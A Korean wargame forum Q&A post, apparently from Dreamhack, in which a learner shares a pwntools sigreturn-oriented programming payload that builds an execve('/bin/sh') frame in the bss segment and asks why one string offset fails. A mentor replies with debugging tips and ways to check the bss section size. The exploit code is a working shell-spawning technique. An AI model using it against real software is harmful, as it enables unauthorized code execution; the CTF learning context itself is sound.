완료됨
bss 영역 관련하여 질문 있습니다
frame2 = SigreturnFrame()
frame2.rax = 59 #execve
frame2.rdi = bss +0x200
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = sys_gad
frame2.rsp = bss

payload2 = p64(rax_gad) + p64(15)
payload2 += p64(sys_gad)
payload2 += bytes(frame2)
payload2 += b"B" * (0x200 - len(payload2))
payload2 += b"/bin/sh\x00"

이런식으로 프레임 구성을 해서 두번째 프레임 전송을 했는데 로컬/원격 모두 쉘 권한이 획득되지 않았습니다.

그래서 rdi를 +0x200이 아닌 payload2 사이즈인 +0x110으로 주고 패딩을 없애니 문제없이 쉘 권한이 취득되는데 여기서

  1. +0x200에서 문제가 발생하는 이유(BSS영역의 사이즈 문제로 추측)
  2. BSS 영역의 사이즈를 확인할 수 있는방법

이 궁금합니다.

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
hazziin
대표 업적 없음
hazziin
대표 업적 없음

안녕하세요, 뀨꾸뀨뀨꾸 님!

남겨 주신 코드로 미루어보았을 때, /bin/sh\x00를 bss 영역에 작성하신 뒤 그 주소를 execve()의 첫 번째 인자로 전달하도록 페이로드를 작성해 주신 것 같습니다.

  1. +0x200에서 문제가 발생하는 이유: 질문 흐름상 입력을 2번 받도록 한 다음 payload2를 bss에 작성하도록 코드를 작성하신 것 같은데요, 중간에 bp를 걸고 원하는 주소에 값이 제대로 작성되어 있는지, 메모리에 쓰기 권한이 주어져 있는지, 메모리와 레지스터의 값이 올바른지 확인해 보시기 바랍니다.
  2. BSS 영역의 사이즈를 확인할 수 있는 방법: readelf -S 명령어로 bss 섹션의 크기를 확인할 수 있으며, gdb의 vmmap 명령어로 쓰기 권한이 있는 메모리 주소를 확인할 수 있습니다. 본 문제의 바이너리는 No PIE이기 때문에 쓰기 가능한 메모리 영역의 주소가 0x404000~0x405000으로 고정됩니다.
  3. 추가로, 질문자님께서 남겨 주신 페이로드에는 syscall 가젯이 포함되어 있는 듯합니다. 이 부분 때문에 문제가 생기는 것은 아닌지 확인해 보시기 바랍니다.

감사합니다.

2025.08.12. 16:55